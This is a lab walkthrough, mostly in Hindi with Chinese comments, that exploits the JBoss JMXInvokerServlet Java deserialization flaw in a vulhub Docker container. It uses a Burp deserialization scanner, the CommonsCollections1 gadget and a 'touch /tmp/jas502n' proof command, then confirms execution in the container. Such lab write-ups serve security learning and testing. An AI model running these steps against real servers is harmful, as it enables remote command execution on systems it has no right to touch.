
Jboss_JMXInvokerServlet_Deserialization_RCE

root@kali:~/vulhub/jboss/JMXInvokerServlet-deserialization# docker-compose up -d
jmxinvokerservlet-deserialization_jboss_1 is up-to-date
root@kali:~# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS
65b3707b9419 vulhub/jboss:as-6.1.0 "/run.sh" 4 hours ago Up 4 hours 0.0.0.0:8080->8080/tcp, 0.0.0.0:9990->999
BurpSuite इतिहास, यदि /invoker/JMXInvokerServlet पथ मौजूद है, तो पृष्ठ 200 स्थिति कोड लौटाता है
POST /invoker/JMXInvokerServlet HTTP/1.1
Host: 10.10.20.166:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Cookie: JSESSIONID=8B6B65418F89E8857F4302AB85085A36
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
aaaa
प्रतिक्रिया Java serialization data, version 5 लौटाती है फ़ाइल हेडर aced0005737200246f72672e6a626f73 से शुरू होता है
/invoker/JMXInvokerServlet POST ट्रैफ़िक को DS प्लगइन में भेजें
राइट-क्लिक करें, Send request to DS-Manual testing पर क्लिक करें

उस स्थान का चयन करें जहाँ सीरियलाइज़ेशन मौजूद है, क्योंकि JBoss /invoker/JMXInvokerServlet अनुरोध में उपयोगकर्ता द्वारा भेजे गए सीरियलाइज़्ड ऑब्जेक्ट को पढ़ता है। aaaa को सीरियलाइज़ेशन पॉइंट के रूप में सेट करें, सभी aaaa का चयन करें फिर Set Insertion Point पर क्लिक करें इस समय POST डेटा $aaaa$ बन जाता है
POST /invoker/JMXInvokerServlet HTTP/1.1
Host: 10.10.20.166:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Cookie: JSESSIONID=8B6B65418F89E8857F4302AB85085A36
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
§aaaa§
Attack पर क्लिक करें
संकेत
SCANNING IN PROGRESS //正在进行扫描
Scanning can go on approximately from 1 second up to 3 minutes, based on the number of vulnerable libraries founded
//根据创建的易受攻击的库的数量,扫描可以持续大约1秒到3分钟
थोड़ी प्रतीक्षा करें
Results:
Apache Commons Collections 3 (Sleep): Potentially VULNERABLE!!!
Spring Alternate Payload (Sleep): NOT vulnerable.
Apache Commons Collections 4 (Sleep): NOT vulnerable.
JSON (Sleep): NOT vulnerable.
Apache Commons Collections 3 Alternate payload 2 (Sleep): NOT vulnerable.
ROME (Sleep): NOT vulnerable.
Apache Commons Collections 4 Alternate payload (Sleep): NOT vulnerable.
Java 8 (up to Jdk8u20) (Sleep): NOT vulnerable.
Java 6 and Java 7 (up to Jdk7u21) (Sleep): Potentially VULNERABLE!!!
Hibernate 5 (Sleep): NOT vulnerable.
Commons BeanUtils (Sleep): NOT vulnerable.
Apache Commons Collections 3 Alternate payload 3 (Sleep): Potentially VULNERABLE!!!
Spring (Sleep): NOT vulnerable.
Apache Commons Collections 3 Alternate payload (Sleep): Potentially VULNERABLE!!!
END
IMPORTANT NOTE: High delayed networks may produce false positives!
संभावित रूप से हानिकारक शोषण विधियाँ
Apache Commons Collections 3 (Sleep): Potentially VULNERABLE!!! //可能有害!
Java 6 and Java 7 (up to Jdk7u21) (Sleep): Potentially VULNERABLE!!! //可能有害!
Apache Commons Collections 3 Alternate payload 3 (Sleep): Potentially VULNERABLE!!! //可能有害!
Apache Commons Collections 3 Alternate payload (Sleep): Potentially VULNERABLE!!! //可能有害!
राइट-क्लिक करें और Send to Exploitation tab पर भेजें
डिफ़ॉल्ट
CommonsCollections1 COMMAND
बदलें
CommonsCollections1 "touch /tmp/jas502n"
Attack पर क्लिक करें
Docker सर्वर में प्रवेश करें और जाँचें कि क्या /tmp/jas502n फ़ाइल सफलतापूर्वक बनाई गई है

root@kali:~/vulhub/jboss/JMXInvokerServlet-deserialization# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
65b3707b9419 vulhub/jboss:as-6.1.0 "/run.sh" 5 hours ago Up 5 hours 0.0.0.0:8080->8080/tcp, 0.0.0.0:9990->9990/tcp jmxinvokerservlet-deserialization_jboss_1
root@kali:~/vulhub/jboss/JMXInvokerServlet-deserialization# docker exec -it 65b3707b9419 /bin/bash
[root@65b3707b9419 /]# cd /tmp
[root@65b3707b9419 tmp]# ls
hsperfdata_root jas502n
[root@65b3707b9419 tmp]# rm jas502n
rm: remove regular empty file 'jas502n'? y
[root@65b3707b9419 tmp]#
[root@65b3707b9419 tmp]# ls
hsperfdata_root
[root@65b3707b9419 tmp]# ls
hsperfdata_root jas502n
[root@65b3707b9419 tmp]#
https://github.com/vulhub/vulhub/blob/master/jboss/JMXInvokerServlet-deserialization/README.md